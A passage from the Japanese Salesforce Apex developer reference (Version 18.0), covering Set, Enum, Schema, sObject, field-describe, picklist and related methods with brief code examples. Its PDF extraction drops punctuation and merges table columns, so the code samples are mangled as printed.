トの relative compliment を生成します指定されたセットはメソッドをコールする元のセットと同じ型でなければなりません

このメソッドは元のセットがコールの結果として変更された場合に真を返します

指定したリストに含まれるこのセットの要素のみを保持しますこのメソッドはリストとセット

BooleanList lretainAll

の intersection を生成しますリストはメソッドをコールするセットと同じ型でなければなりません

このメソッドは元のセットがコールの結果として変更された場合に真を返します例

Setltintegergt mySet = new Setltintegergt12 3 Listltintegergt myList = new

参照 Version 180 | Apex Collection メソッド | 236

説明戻り値の型引数名前Listltintegergt1 3 Boolean result =mySetretainAll(myList)

SystemassertEquals(result true)

指定したセットに含まれる元のセットの要素のみを保持しますこのメソッドは2 つのセットの

BooleanSet sretainAll

intersection を生成します指定されたセットはメソッドをコールする元のセットと同じ型でなければなりません

このメソッドは元のセットがコールの結果として変更された場合に真を返します

セットの要素の数 (基数) を返します例Setltintegergt mySet = new Setltintegergt12 3 Listltintegergt myList = new

Integersize

Listltintegergt1 3 Boolean result =mySetretainAll(myList)

SystemassertEquals(result true)

Integer result2 = mySetsize()SystemassertEquals(result2 2)

セットについての詳細は「セット」 (ページ 35)を参照してください

Enum メソッドEnum 値はユーザー定義のメソッドを追加できませんがシステム Enum 値を含むすべての Enum 値は次のメソッドを Apex で定義します

説明戻り値の型引数名前

Enum 項目の名前を String として返します

Stringname

0 から始まる Enum 値のリスト内の項目の位置を返します

Integerordinal

Enum 項目の値を String として返します

Stringvalues

Integer I = StatusCodeDELETE_FAILEDordinal() String S = MyEnumXname()

Enum についての詳細は「Enum 値」 (ページ 38)を参照してください

参照 Version 180 | Enum メソッド | 237

sObject メソッド

Apex sObject メソッド用語 sObjectはSalesforcecom プラットフォームデータベースに保存できるオブジェクトのことをいいます次の Apex sObject メソッドにはsObject 構造の説明に使用する一般的なクラスのほかすべての sObject と使用できるメソッドが含まれます

bull Schemabull sObjectbull sObject 定義結果bull 項目定義結果bull カスタム設定

Schema メソッド

次の表ではSchema の静的システムメソッドを示しています

説明戻り値の型引数名前

組織で定義された標準オブジェクトおよびカスタムオブ

MapltStringSchemaSObjectTypegt

getGlobalDescribe

ジェクトのすべての sObject名 (キー) のマップをsObjectトークン (値) に返します例MapltStringSchemaSObjectTypegt gd=SchemagetGlobalDescribe()

詳細は「すべての sObjectsへのアクセス」 (ページ 138)を参照してください

指定したオブジェクトに関連するカテゴリグループのリス

ListltSchemaDescribeDataCategoryGroupResultgt

StringListltsObjectNamesgt

describeDataCategoryGroups

トを返します次のsObjectNames のいずれかを指定できますbull KnowledgeArticleVersion

記事タイプに関連するカテゴリグループを取得します

bull Question 記事タイプに関連するカテゴリグループを取得します

参照 Version 180 | sObject メソッド | 238

説明戻り値の型引数名前

describeDataCategoryGroupsの使用についての詳細およびコード例は「sObject に関連するすべてのカテゴリのアクセス」を参照してください

記事および質問に関する詳細はSalesforcecomオンラインヘルプ「記事の管理」「Answers の概要」を参照してください

要求で指定されたオブジェクトのデータカテゴリ構造とと

ListltSchemaDescribeDataCategoryGroupStructureResultgt

pairstopCategoriesOnly

describeDataCategoryGroupStructures

もに使用できるカテゴリグループを返しますdescribeDataCategoryGroupStructuresの使用についての詳細およびコード例は「sObject に関連するすべてのカテゴリのアクセス」を参照してください

データカテゴリグループ構造定義の引数

describeDataCategoryGroupStructuresメソッドはデータカテゴリ構造とともに使用できるカテゴリグループを返します次にこのメソッドの引数を示します

説明戻り値の型名前

SchemaDataCategoryGroupSobjectTypePair を問い合わせる 1 つまたは複数のカテゴリグ

ListltSchemaDataCategoryGroupSobjectTypePairgtpairs

ループおよびオブジェクトを指定します指定されたオブジェクトの表示可能なデータカテゴリを取得します

カテゴリグループ表示の詳細はSalesforcecom オンラインヘルプの「カテゴリグループ表示設定の概要」を参照してください

trueを指定してオブジェクとを分類する上位表示カテゴリだけを返しますfalseを

BooleantopCategoriesOnly

指定して表示できるすべての親カテゴリおよび子カテゴリを返します両方の値はユーザのロールカテゴリグループ表示設定によって異なりますカテゴリグループ表示の

参照 Version 180 | Apex sObject メソッド | 239

説明戻り値の型名前

詳細はSalesforcecom オンラインヘルプの「カテゴリグループ表示設定の概要」を参照してください

SchemaDataCategoryGroupSobjectTypePair オブジェクト

SchemaDataCategoryGroupSobjectTypePair はカテゴリグループと関連オブジェクトを指定しますdescribeDataCategoryGroupStructuresメソッドで使用してこのオブジェクトに使用できるカテゴリを返します次の表はSchemaDataCategoryGroupSobjectTypePair のすべてのメソッドを示しています

説明戻り値の型引数名前

データカテゴリグループにアクセスするAPIで使用される一意の名前を返します

StringgetDataCategoryGroupName

データカテゴリグループに関連するオブジェクト名を返します

StringgetSobject

データカテゴリグループにアクセスするAPIで使用される一意の名前を指定します

StringsetDataCategoryGroupName

sObjectNameはデータカテゴリグループに関連するオブジェクト名です有効な値は次のとおりです

VoidString sObjectNamesetSobject

bull KnowledgeArticleVersion 記事タイプの場合

bull Question Answers の質問の場合

SchemaDescribeDataCategoryGroupResult オブジェクト

describeDataCategoryGroups メソッドは指定のオブジェクトに関連するカテゴリグループのリストを含むSchemaDescribeDataCategoryGroupResult オブジェクトを返します

次にデータカテゴリグループ定義結果オブジェクトのインスタンス化方法の例を示します

List ltStringgt objType = new ListltStringgt() objTypeadd(KnowledgeArticleVersion)objTypeadd(Question)

ListltSchemaDescribeDataCategoryGroupResultgt describeCategoryResult =SchemadescribeDataCategoryGroups(objType)

describeDataCategoryGroups の使用についての詳細およびコード例は「sObject に関連するすべてのカテゴリのアクセス」を参照してください

以下の表はデータカテゴリグループ定義結果の一部として利用可能なメソッドを示しています引数をとるメソッドはありません

参照 Version 180 | Apex sObject メソッド | 240

説明戻り値の型名前

データカテゴリグループの表示データカテゴリ数を返します

IntegergetCategoryCount

データカテゴリグループの説明を返しますStringgetDescription

Salesforcecomユーザインターフェースで使用するデータカテゴリグループのラベルを返します

StringgetLabel

データカテゴリグループにアクセスするAPIで使用される一意の名前を返します

StringgetName

データカテゴリグループに関連するオブジェクト名を返します

StringgetSobject

SchemaDescribeDataCategoryGroupStructureResult オブジェクト

describeDataCategoryGroupStructuresメソッドは指定したオブジェクトのカテゴリグループおよびカテゴリを含む SchemaDescribeDataCategoryGroupStructureResult オブジェクトのリストを返します

次にデータカテゴリグループ構造定義結果オブジェクトのインスタンス化方法の例を示します

List ltDataCategoryGroupSobjectTypePairgt pairs = new ListltDataCategoryGroupSobjectTypePairgt()

DataCategoryGroupSobjectTypePair pair1 = new DataCategoryGroupSobjectTypePair()pair1setSobject(KnowledgeArticleVersion) pair1setDataCategoryGroupName(Regions)

DataCategoryGroupSobjectTypePair pair2 = new DataCategoryGroupSobjectTypePair()pair2setSobject(Questions) pair2setDataCategoryGroupName(Regions)

pairsadd(pair1) pairsadd(pair2)

ListltSchemaDescribeDataCategoryGroupStructureResultgtresults =SchemadescribeDataCategoryGroupStructures(pairs true)

describeDataCategoryGroupStructuresの使用についての詳細およびコード例は「sObject に関連するすべてのカテゴリのアクセス」を参照してください

以下の表はデータカテゴリグループ構造定義結果の一部として利用可能なメソッドを示しています引数をとるメソッドはありません

説明戻り値の型名前

データカテゴリグループの説明を返しますStringgetDescription

Salesforcecomユーザインターフェースで使用するデータカテゴリグループのラベルを返します

StringgetLabel

データカテゴリグループにアクセスするAPIで使用される一意の名前を返します

StringgetName

データカテゴリグループに関連するオブジェクト名を返します

StringgetSobject

参照 Version 180 | Apex sObject メソッド | 241

説明戻り値の型名前

ユーザのカテゴリグループ表示設定に基づく上位表示カテゴリを含むSchemaDataCategory

ListltSchemaDataCategorygtgetTopCategories

オブジェクトを返しますカテゴリグループ表示の詳細はSalesforcecomオンラインヘルプの「カテゴリグループ表示設定の概要」を参照してください

SchemaDataCategory オブジェクト

SchemaDataCategory オブジェクトはカテゴリグループ内のカテゴリを示しますSchemaDataCategory オブジェクトは getTopCategoriesメソッドによって返されます次の表はSchemaDataCategory のすべてのメソッドを示しています引数をとるメソッドはありません

説明戻り値の型名前

データカテゴリの表示サブカテゴリを含む再帰オブジェクトを返します

ListltSchemaDataCategorygtgetChildCategories

Salesforcecomユーザインターフェースで使用するデータカテゴリのラベルを返します

StringgetLabel

データカテゴリにアクセスするAPIで使用される一意の名前を返します

StringgetName

sObject メソッド

sObject メソッドはすべてのインスタンスメソッドで取引先または連絡先などsObject の特定のインスタンスにコールされ操作します次にsObject のインスタンスメソッドを示します

説明戻り値の型引数名前

カスタムエラーメッセージでレコードをマークしDML 操作が行われないようにします

before insertトリガおよび before updateトリガの Triggernewにbefore deleteトリガ

VoidString errorMsgaddError

の Triggeroldに使用するとアプリケーションインターフェースにエラーメッセージが表示されます

「トリガ」 (ページ 65)および「トリガの例外」(ページ 77)を参照してください

Visualforce コントローラで使用すると生成されたメッセージがそのページのエラーのコレクションに追加されます詳細は『Visualforce DevelopersGuide』の「入力規則と標準コントローラ」を参照してください

参照 Version 180 | Apex sObject メソッド | 242

説明戻り値の型引数名前

指定したエラーメッセージをアプリケーションインターフェースのこのメソッドをコールする項目

VoidString errorMsgfieldaddError

に投入しDML 操作が行われないようにします例TriggernewmyField__CaddError(bad)

メモ

bull before insertトリガおよび before update

トリガの Triggernewにbefore deleteトリガのTriggeroldに使用するとアプリケーションインターフェースにエラーが表示されます

bull Visualforce コントローラで使用するとinputFieldコンポーネントが項目に結合される場合メッセージがコンポーネントに添付されます詳細は『Visualforce Developers Guide』の「入力規則と標準コントローラ」を参照してください

bull 項目識別子は実際に呼び出しオブジェクトではなくsObject が呼び出し元であるためこのメソッドは高度に専門化されます項目を使用してエラーの表示に使用する項目を識別します

bull このメソッドは今後のバージョンの Apex で変更される可能性があります

「トリガ」 (ページ 65)および「トリガの例外」(ページ 77)を参照してください

すべての項目値をクリアしますVoidclear

sObject レコードのコピーを作成します

オプションの opt_preserve_id引数は元のオブジェクトの ID を複製で保持するかまたは削除するかを指定します

sObject (同じデータ型)

Booleanopt_preserve_idBooleanopt_IsDeepClone

clone

オプションの opt_IsDeepClone引数はメソッドが sObject の完全コピーを作成するか単なる参照を作成するかを指定します

bull trueに設定するとメソッドは sObject の完全コピーを作成しますリレーション項目などsObject のすべての項目はメモリで複製されますその結果複製された sObject の項目に変更を行っても元の sObject は影響されません

bull falseに設定するとメソッドは元の sObjectへの参照を作成しますその結果複製された

参照 Version 180 | Apex sObject メソッド | 243

説明戻り値の型引数名前

sObject の項目に変更を行っても元の sObjectも影響を受けます

AccountNumberなどfieldNameで指定された項目の値を返します

詳細は「動的 SOQL」 (ページ140)を参照してください

オブジェクトString fieldNameget

項目トークン SchemasObjectField (例SchemaAccountAccountNumber) で指定された項目の値を返します

詳細は「動的 SOQL」 (ページ140)を参照してください

オブジェクトSchemasObjectFieldField

get

sObject の databaseDMLOptions オブジェクトを返します

詳細は「データベース DMLOptions メソッド(ページ 273)」を参照してください

DatabaseDMLOptionsgetOptions

fieldNameで指定された項目の値を返しますこのメソッドは主に動的 DML とともに使用して外部 ID の値にアクセスします

詳細は「動的 DML」 (ページ142)を参照してください

sObjectString fieldNamegetSObject

項目トークン SchemafieldName (例SchemaAccountMyExternalId) で指定された

sObjectSchemaSObjectFieldfieldName

getSObject

項目の値を返しますこのメソッドは主に動的DML とともに使用して外部 ID の値にアクセスします

詳細は「動的 DML」 (ページ142)を参照してください

fieldNameで指定された項目の値を返しますこのメソッドは主に動的 DML とともに使用して

sObject[]String fieldNamegetSObjects

子関係など関連オブジェクトの値にアクセスします

詳細は「動的 DML」 (ページ142)を参照してください

項目トークン SchemafieldName (例SchemaAccountContact) で指定された項目の

sObject[]SchemaSObjectTypefieldName

getSObjects

値を返しますこのメソッドは主に動的 DMLとともに使用して子関係など関連オブジェクトの値にアクセスします

参照 Version 180 | Apex sObject メソッド | 244

説明戻り値の型引数名前

詳細は「動的 DML」 (ページ142)を参照してください

この sObject のトークンを返しますこのメソッドは定義情報で使用されます

詳細は「Apex 定義情報について」 (ページ 135)を参照してください

SchemaSObjectTypegetSObjectType

fieldNameで指定された項目の値を設定し項目の以前の値を返します

詳細は「動的 SOQL」 (ページ140)を参照してください

オブジェクトString fieldNameObject value

put

項目トークン SchemasObjectField (例SchemaAccountAccountNumber) で指定された項目の値を設定し項目の以前の値を返します

詳細は「動的 SOQL」 (ページ140)を参照してください

オブジェクトSchemaSObjectFieldfieldName Objectvalue

put

fieldNameで指定された項目の値を設定しますこのメソッドは主に動的 DML で使用して外

sObjectString fieldNamesObject value

putSObject

部 ID の値に設定しますメソッドは項目の以前の値を返します

詳細は「動的 SOQL」 (ページ140)を参照してください

トークンSchemasObjectTypeで指定される項目の値を設定しますこのメソッドは主に動的

sObjectSchemasObjectTypefieldName sObjectvalue

putSObject

DML で使用して外部 ID の値に設定しますメソッドは項目の以前の値を返します

詳細は「動的 SOQL」 (ページ140)を参照してください

sObject の DMLOptions オブジェクトを設定します

詳細は「データベース DMLOptions メソッド(ページ 273)」を参照してください

VoiddatabaseDMLOptionsDMLOptions

setOptions

sObjects についての詳細は「sObject 型」 (ページ 30)を参照してください

sObject 定義結果メソッド

以下の表はsObject定義結果に利用可能なメソッドであるDescribeSObjectResultオブジェクトを示しています引数をとるメソッドはありません

参照 Version 180 | Apex sObject メソッド | 245

説明データ型名前

単独では使用すべきでない特別データタイプを返しますfieldsは項目メンバー変数名ま

Specialfields

たはgetMapメソッドのいづれかによって続かれるべきです例

SchemaDescribeFieldResult F =SchemaSObjectTypeAccountfieldsName

詳細は「Apex 定義情報について」 (ページ135)を参照してください

表示されるsObjectの外部キーを持ったsObjectの名前である子関係のリストを返します例え

ListltSchemaChildRelationshipgtgetChildRelationships

ばAccountオブジェクトは子関係としてContactsとOpportunitiesを含みます

オブジェクトのために3文字プレフィックスコードを返しますレコードIDはオブジェクトの

StringgetKeyPrefix

タイプを指定する3文字コードを前に置きます 例えば取引先は001のプレフィックスを持ち商談は006のプレフィックスを持ちます)

DescribeSobjectResultオブジェクトは安定したプレフィックスを持つオブジェクトのための値を返します安定したまたは予測可能なプレフィックスを持たないオブジェクトタイプに関しては項目は空白ですこれらのコードに依存するクライアントアプリケーションは上位互換性を確実にするためにこのオブジェクトタイプの決定方法を使用可能です

オブジェクト名にマッチするかもしれないししないかもしれないオブジェクトのレーベル

StringgetLabel

を返します例えば医療産業のある組織はAccountのレーベルをPatientに変えるかもしれませんこのラベルはSalesforcecomユーザインターフェースにて使用されます詳細はSalesforcecomオンラインヘルプを参照してください

オブジェクト名にマッチするかもしれないししないかもしれないオブジェクトの複数レー

StringgetLabelPlural

ベルを返します例えば医療産業のある組織はAccountの複数レーベルをPatientに変えるかもしれませんこのラベルはSalesforcecomユーザインターフェースにて使用されます詳細はSalesforcecomオンラインヘルプを参照してください

参照 Version 180 | Apex sObject メソッド | 246

説明データ型名前

getNameメソッドに似ていてオブジェクト名を返しますしかしながらオブジェクトが現

StringgetLocalName

在の名前空間の一部でなければ名前の名前空間部分は削除されます

オブジェクトの名前を返しますStringgetName

このオブジェクトでサポートされたレコードタイプのリストを返します現在のユーザはこ

ListltSchemaRecordTypeInfogtgetRecordTypeInfos

のリスト内でそれを見るためにレコードタイプへのアクセスを持っている必要はありません

その関連付けられたレコードタイプへレコードIDをマッチさせるマップを返します現在の

MapltIDSchemaRecordTypeInfogt

getRecordTypeInfosByID

ユーザはこのマップ内でそれを見るためにレコードタイプへのアクセスを持っている必要はありません

その関連付けられたレコードタイプへレコード名をマッチさせるマップを返します現在の

MapltStringSchemaRecordTypeInfogt

getRecordTypeInfosByName

ユーザはこのマップ内でそれを見るためにレコードタイプへのアクセスを持っている必要はありません

sObject SchemaSObjectType オブジェクトを返します類似した sObject の作成に使用できま

SchemaSObjectTypegetSobjectType

す詳細は「SchemaSObjectType (ページ256)」を参照してください

現行ユーザがこの項目を見た場合trueが返されそうでない場合falseが返されます

BooleanisAccessible

現在のユーザによってオブジェクトが作成された場合trueが返されそうでない場合falseが返されます

BooleanisCreateable

項目がカスタムオブジェクトの場合trueが返され標準オブジェクトの場合falseが返されます

BooleanisCustom

オブジェクトがカスタム設定の場合trueが返されそうでない場合falseが返されます

BooleanisCustomSetting

現在のユーザによってオブジェクトが削除可能な場合trueが返されそうでない場合falseが返されます

BooleanisDeletable

将来の使用のための予備BooleanisDeprecatedAndHidden

オブジェクトが現在のユーザによって他のオブジェクトとマージ可能な場合trueが返され

BooleanisMergeable

参照 Version 180 | Apex sObject メソッド | 247

説明データ型名前

そうでない場合falseが返されますtrue

はリード取引先責任者および取引先に対して返されます

現在のユーザによってそのオブジェクトの問い合わせが可能な場合trueが返されそうでない場合falseが返されます

BooleanisQueryable

現在のユーザによってそのオブジェクトが検索可能な場合trueが返されそうでない場合falseが返されます

BooleanisSearchable

現在のユーザによってそのオブジェクトが復元可能な場合trueが返されそうでない場合falseが返されます

BooleanisUndeletable

現在のユーザによってそのオブジェクトが更新可能な場合trueが返されそうでない場合falseが返されます

BooleanisUpdateable

ChildRelationshipメソッド

sObjectが親オブジェクトの場合ChildRelationshipオブジェクトメソッドを使った子sObjectと同様に子関係にアクセス可能です

ChildRelationshipオブジェクトはgetChildRelationshipメソッドを使ってsObject定義結果から返されます例

SchemaDescribeSObjectResult R = AccountSObjectTypegetDescribe()ListltSchemaChildRelationshipgt C = RgetChildRelationships()

Apex スクリプトごとに 10 件の getChildRelationshipsメソッドを使用できますガバナー制限の詳細は「実行ガバナーと制限の理解」を参照してください

以下の表はChildRelationshipオブジェクトの一部として利用可能なメソッドを示しています引数をとるメソッドはありません

説明データ型名前

親sObjectに戻る外部キーがある場所の子sObjectのトークンを返します

SchemaSObjectTypegetChildSObject

親sObjectに戻る外部キーを持っている項目のトークンを返します

SchemaSObjectFieldgetField

関係の名前を返しますStringgetRelationshipName

親オブジェクトが削除される時に子オブジェクトが削除される場合はtrueが返されそうでない場合falseが返されます

BooleanisCascadeDelete

将来の使用のための予備BooleanisDeprecatedAndHidden

参照 Version 180 | Apex sObject メソッド | 248

RecordTypeInfoメソッド

sObjectがそれに関連付けられたレコードタイプを持っている場合はRecordTypeInfoオブジェクトメソッドを使ってレコードタイプについての情報にアクセス可能です

RecordTypeInfoオブジェクトはgetRecordTypeInfosメソッドを使ってsObject定義結果から返されます例

SchemaDescribeSObjectResult R = AccountSObjectTypegetDescribe()ListltSchemaRecordTypeInfogt RT = RgetRecordTypeInfos()

getRecordTypeInfosメソッドに加えてgetRecordTypeInfosByIdとgetRecordTypeInfosByNameメソッドも使用可能ですこれらのメソッドはRecordTypeInfoをレコードIDとレコード名に関連付けるマップをそれぞれ返します

Apex スクリプトごとに 10 件の RecordTypeInfo オブジェクトを返すことができますガバナー制限の詳細は「実行ガバナーと制限の理解」を参照してください

以下の例では少なくとも1つのレコードタイプがAccountオブジェクトのために作成されました

RecordType rt = [select idname from RecordType where SobjectType=Account limit 1]SchemaDescribeSObjectResult d = SchemaSObjectTypeAccount MapltIdSchemaRecordTypeInfogtrtMapById = dgetRecordTypeInfosById() SchemaRecordTypeInfo rtById = rtMapByIdget(rtid)MapltStringSchemaRecordTypeInfogt rtMapByName = dgetRecordTypeInfosByName()SchemaRecordTypeInfo rtByName = rtMapByNameget(rtname)SystemassertEquals(rtByIdrtByName)

以下の表はRecordTypeInfoオブジェクトの一部として利用可能なメソッドを示しています引数をとるメソッドはありません

説明データ型名前

このレコードタイプの名前を返しますStringgetName

このレコードタイプのIDを返しますIDgetRecordTypeId

このレコードタイプが現在のユーザに利用可能な場合trueが返されそうでない場合

BooleanisAvailable

falseが返されます新規レコードを作成する際にレコードタイプを利用可能なユーザのリストを表示するためにこのメソッドを使ってください

これが規定値のレコードタイプマッピングの場合trueを返しそうでない場合falseを返します

BooleanisDefaultRecordTypeMapping

項目定義結果メソッド

以下の表は項目定義結果の一部として利用可能なメソッドを示しています次に項目定義結果オブジェクトのインスタンス化方法の例を示します

SchemaDescribeFieldResult F = AccountAccountNumbergetDescribe()

引数をとるメソッドはありません

参照 Version 180 | Apex sObject メソッド | 249

説明データ型名前

変数長さ項目 バイナリ項目を含む に関してはバイトで項目の最大サイズを返します

IntegergetByteLength

この項目用に指定された数式を返しますStringgetCalculatedFormula

コントロール項目のトークンを返しますSchemasObjectFieldgetController

この項目の規定値を返しますオブジェクトgetDefaultValue

計算項目が使われていない場合この項目用に指定された規定値を返します

StringgetDefaultValueFormula

項目用に指定された最大桁数を返しますこのメソッドはInteger項目でのみ有効です

IntegergetDigits

項目レベルのヘルプの内容を返します詳細はSalesforcecomオンラインヘルプの「項目レベルのヘルプの定義」を参照してください

StringgetInlineHelpText

Salesforcecomユーザインターフェース内の項目の隣に表示されるテキストラベルを返しますこのラベルはローカライズが可能です

StringgetLabel

文字列項目に関しては バイトではなく ユニコード文字の項目最大サイズを返します

IntegergetLength

getNameメソッドに似ていて項目名を返しますしかしながら項目が現在の名前空間の一

StringgetLocalName

部でなければ名前の名前空間部分は削除されます

Apexスクリプトにて使われている項目名を返します

StringgetName

PicklistEntryオブジェクトのリストを返します項目がピックリストでない場合ランタイムエラーが返されます

List ltSchemaPicklistEntrygtgetPicklistValues

タイプDoubleの項目に関しては 小数点のキャラクタは含まないが 小数点の左右すべての数を含む記憶可能な最大桁数を返します

IntegergetPrecision

この項目の親オブジェクトのSchemasObjectType オブジェクトのリストを返

List ltSchemasObjectTypegtgetReferenceTo

しますisNamePointingメソッドがtrueを返す場合リスト内に複数がありそうでない場合は1つしかありません

関係の名前を返します関係と関係名についての詳細はForcecom Web Services API Developers

StringgetRelationshipName

GuideのUnderstanding Relationship Namesを参照してください

参照 Version 180 | Apex sObject メソッド | 250

説明データ型名前

項目が個である場合は 1そうでない場合は 0を返します関係と関係名についての詳細は

IntegergetRelationshipOrder

Forcecom Web Services API Developers GuideのUnderstanding Relationship Namesを参照してください

タイプDoubleの項目に関しては小数点の右の桁数を返します小数点の右側の余分な桁に関

IntegergetScale

しては省略されます小数点の左側の桁数が多すぎる場合はこのメソッドはエラーレスポンスを返します

項目のタイプによってはSoapType enum値の1つを返します詳細は「SchemaSOAPTypeEnum 値 (ページ 256)」を参照してください

SchemaSOAPTypegetSOAPType

この項目のトークンを返しますSchemasObjectFieldgetSObjectField

項目のタイプによってはDisplayType enum値の1つを返します 詳細は

SchemaDisplayTypegetType

「SchemaDisplayType Enum 値 (ページ 254)」を参照してください

現行ユーザがこの項目を見た場合trueが返されそうでない場合falseが返されます

BooleanisAccessible

項目がAuto Number項目の場合trueが返されそうでない場合falseが返されます

SQL IDENTITYタイプに似ていてAutoNumber項目は読み取り専用で最大長30文

BooleanisAutoNumber

字の作成不可能なテキスト項目ですAutoNumber項目は内部オブジェクトから独立している固有IDを提供するために使われます 注文番号または請求番号など Auto Number項目はSalesforcecomユーザインターフェース内で全体的に構成されています

項目がカスタム計算項目の場合trueが返されそうでない場合falseが返されますカ

BooleanisCalculated

スタム数式項目は常に参照のみ可能であることにご注意ください

項目がケースセンシティブな場合trueが返されそうでない場合falseが返されます

BooleanisCaseSensitive

現在のユーザによって項目が作成された場合trueが返されそうでない場合falseが返されます

BooleanisCreateable

参照 Version 180 | Apex sObject メソッド | 251

説明データ型名前

項目がカスタム項目の場合trueが返され標準オブジェクトの場合falseが返されます

BooleanisCustom

項目が作成された時に規定値を受け取った場合trueが返されそうでない場合falseが

BooleanisDefaultedOnCreate

返されますtrueの場合この項目の値が作成コール上にパスされない場合でもオブジェクトが作成された時にSalesforcecomは暗黙的にこの項目用の値を割り当てます例えばOpportunityオブジェクトにおいてProbability項目はその値がStage項目に由来するのでこの属性を持っています同じようにほとんどのオブジェクトにおいてOwnerはその値が現在のユーザに由来するのでこの属性を持っています Owner項目は指定されていません

ピックリストが独立したピックリストの場合trueが返されそうでない場合falseが返されます

BooleanisDependentPicklist

将来の使用のための予備BooleanisDeprecatedAndHidden

項目が外部IDとして使われている場合true

が返されそうでない場合falseが返されます

BooleanisExternalID

項目がWHEREステートメントのフィルタ規準の一部として使われている場合trueが返されそうでない場合falseが返されます

BooleanisFilterable

項目が SOQL クエリの GROUP BY句に含まれる場合は trueをそうでない場合は falseを

BooleanisGroupable

返しますこのメソッドはAPI バージョン180 以降を使用して保存された Apex クラスおよびトリガにのみ使用できます

項目がHTMLにフォーマットされていてHTMLで表示されるようエンコードされている

BooleanisHtmlFormatted

場合trueが返されそうでない場合false

が返されますこのメソッドに対してtrueを返す項目の例の1つはハイパーカスタム計算項目ですもう1つの例はIMAGEテキスト機能を持っているカスタム計算項目です

項目がupsertメソッドでレコードを指定するために使用可能な場合trueが返されそうでない場合falseが返されます

BooleanisIdLookup

項目が名前項目の場合trueが返されそうでない場合falseが返されますこのメソッド

BooleanisNameField

参照 Version 180 | Apex sObject メソッド | 252

説明データ型名前

は標準オブジェクトの名前項目 AccountオブジェクトのAccountNameなど とカスタムオブジェクトを識別するために使われます Contactオブジェクト上にように FirstNameとLastName

項目が代わりに使われる場合を除いてオブジェクトは1つの名前項目しか持ちません

例えば個人取引先のName項目などの混合名が存在する場合isNameFieldはそのレコードに対してtrueに設定されます

項目が複数タイプのオブジェクトを親として持つことが可能な場合trueが返されます例え

BooleanisNamePointing

ばタスクがContactLead ID (WhoId)項目およびOpportunityAccount ID (WhatId)項目の両方を持つことができる場合いづれかのオブジェクトが特定タスクレコードになる可能性があるのでこのメソッドに対してtrueが返されますそれ以外の場合このメソッドはfalseを返します

項目が Null 可能の場合trueが返されそうでない場合falseが返されますnull 値が許

BooleanisNillable

可される項目は中身を空にすることができます非nillable項目は作成または保存されるオブジェクトのための値を持つ必要があります

項目が制限されたピックリストの場合trueが返されそうでない場合falseが返されます

BooleanisRestrictedPicklist

クエリが項目上でソート可能な場合trueが返されそうでない場合falseが返されます

BooleanisSortable

項目の値が固有であある必要がある場合true

が返されそうでない場合falseが返されます

BooleanisUnique

現在のユーザによって項目が編集可能な場合trueが返されそうでない場合falseが返されます

BooleanisUpdateable

詳細オブジェクトへの書き込みに親の読み取り書き込み共有の代わりに読み取り共有が必要な場合trueを返します

BooleanisWriteRequiresMasterRead

参照 Version 180 | Apex sObject メソッド | 253

SchemaDisplayType Enum 値

SchemaDisplayType Enum値は項目定義結果のgetTypeメソッドによって返されます詳細はForcecom WebServices API Developers GuideのField Typesを参照してくださいすべての enum で共有されるメソッドの詳細は「Enum メソッド (ページ 237)」を参照してください

項目オブジェクトに含まれる内容タイプ項目値

値のタイプはStringPicklistBooleanIntegerDoublePercentIDDateDateTimeURLまたは Emailです

anytype

Base64-encodedの任意バイナリデータ タイプbase64Binaryの base64

Boolean (trueまたはfalse)値Boolean

列挙値のセットを提供しユーザがリスト内にない値を指定するのを可能にするCombobox

Combobox

通貨値通貨

日付値Date

DateTime値DateTime

Double値Double

電子メールアドレス電子メール

暗号化文字列EncryptedString

オブジェクトのプライマリキー項目ID

Integer値Integer

複数の値が選択可能な中からの列挙値のセットを提供する複数セレクトピックリスト

MultiPicklist

パーセント値パーセント

電話番号値にはアルファベットを含めることもできます電話番号の書式はクライアントアプリケーションが指定します

Phone

1つの値しか選択可能でない中からの列挙値のセットを提供する単一セレクトピックリスト

選択リスト

外部キー項目に類似した異なるオブジェクトへの相互参照参照

文字列値String

複数テキスト項目として表示される文字列値TextArea

時間の値Time

ハイパーリンクとして表示されるURL値URL

参照 Version 180 | Apex sObject メソッド | 254

SchemaPicklistEntry メソッド

選択リスト項目にはユーザが単一のデータを選択可能な 1 つ以上のデータのリストが含まれますSalesforcecomユーザインターフェースのドロップダウンリストとして表示されますデータの 1 つをデフォルトデータに設定できます

SchemaPicklistEntry オブジェクトはgetPicklistValuesメソッドを使って項目定義結果から返されます例

SchemaDescribeFieldResult F = AccountIndustrygetDescribe() ListltSchemaPicklistEntrygtP = FgetPicklistValues()

Apexスクリプトごとに 10件のgetPicklistValueメソッドを使用できますガバナー制限の詳細は「実行ガバナーと制限の理解」を参照してください

以下の表はPicklistEntryオブジェクトの一部として利用可能なメソッドを示しています引数をとるメソッドはありません

説明データ型名前

ピックリスト内のこのアイテムの表示名を返しますStringgetLabel

ピックリスト内のこのアイテムの値を返しますStringgetValue

このアイテムがユーザインターフェース内のピックリスト用のドロップダウンリストに表示される必要がある場合trueを返しそうでない場合falseを返します

BooleanisActive

このアイテムがピックリスト用の規定値の場合trueを返しそうでない場合falseを返します選択リスト内の 1 つのアイテムのみをデフォルトに設定できます

BooleanisDefaultValue

SchemasObjectField

SchemasObjectField オブジェクトはgetControlerメソッドおよび getSObjectFieldメソッドを使用して項目定義結果から返されます例

SchemaDescribeFieldResult F = AccountIndustrygetDescribe() SchemasObjectField T =FgetSObjectField()

以下の表はsObjectField オブジェクトの一部として利用可能なメソッドを示していますこのメソッドは引数を採用しません

説明データ型名前

この項目の項目定義結果を返しますSchemaDescribeFieldResultgetDescribe

参照 Version 180 | Apex sObject メソッド | 255

SchemasObjectType

SchemasObjectType オブジェクトは getReferenceToメソッドを使用して項目定義結果からgetSObjectType

メソッドを使用して sObject 定義結果から返されます例

SchemaDescribeFieldResult F = AccountIndustrygetDescribe() ListltSchemasObjectTypegt P= FgetReferenceTo()

以下の表はsObjectType オブジェクトの一部として利用可能なメソッドを示しています

説明データ型引数名前

この項目の sObject 定義結果を返しますSchemaDescribeSObjectResultgetDescribe

このタイプの新しい sObject を構築します

sObjectnewSObject

ID が指定されているこのタイプの新しいsObject を構築します

sObjectId IdnewSObject

SchemaSOAPType Enum 値

schemaSOAPType enum 値は項目定義結果のgetSoapTypeメソッドによって返されます

詳細は『Forcecom Web Services API Developers Guide』のSOAPTypes を参照してくださいすべての enum で共有されるメソッドの詳細は「Enum メソッド (ページ 237)」を参照してください

項目オブジェクトに含まれる内容タイプ項目値

値のタイプはStringBooleanIntegerDoubleIDDateまたはDateTime

ですanytype

Base64-encodedの任意バイナリデータ タイプbase64Binaryの base64

Boolean (trueまたはfalse)値Boolean

日付値Date

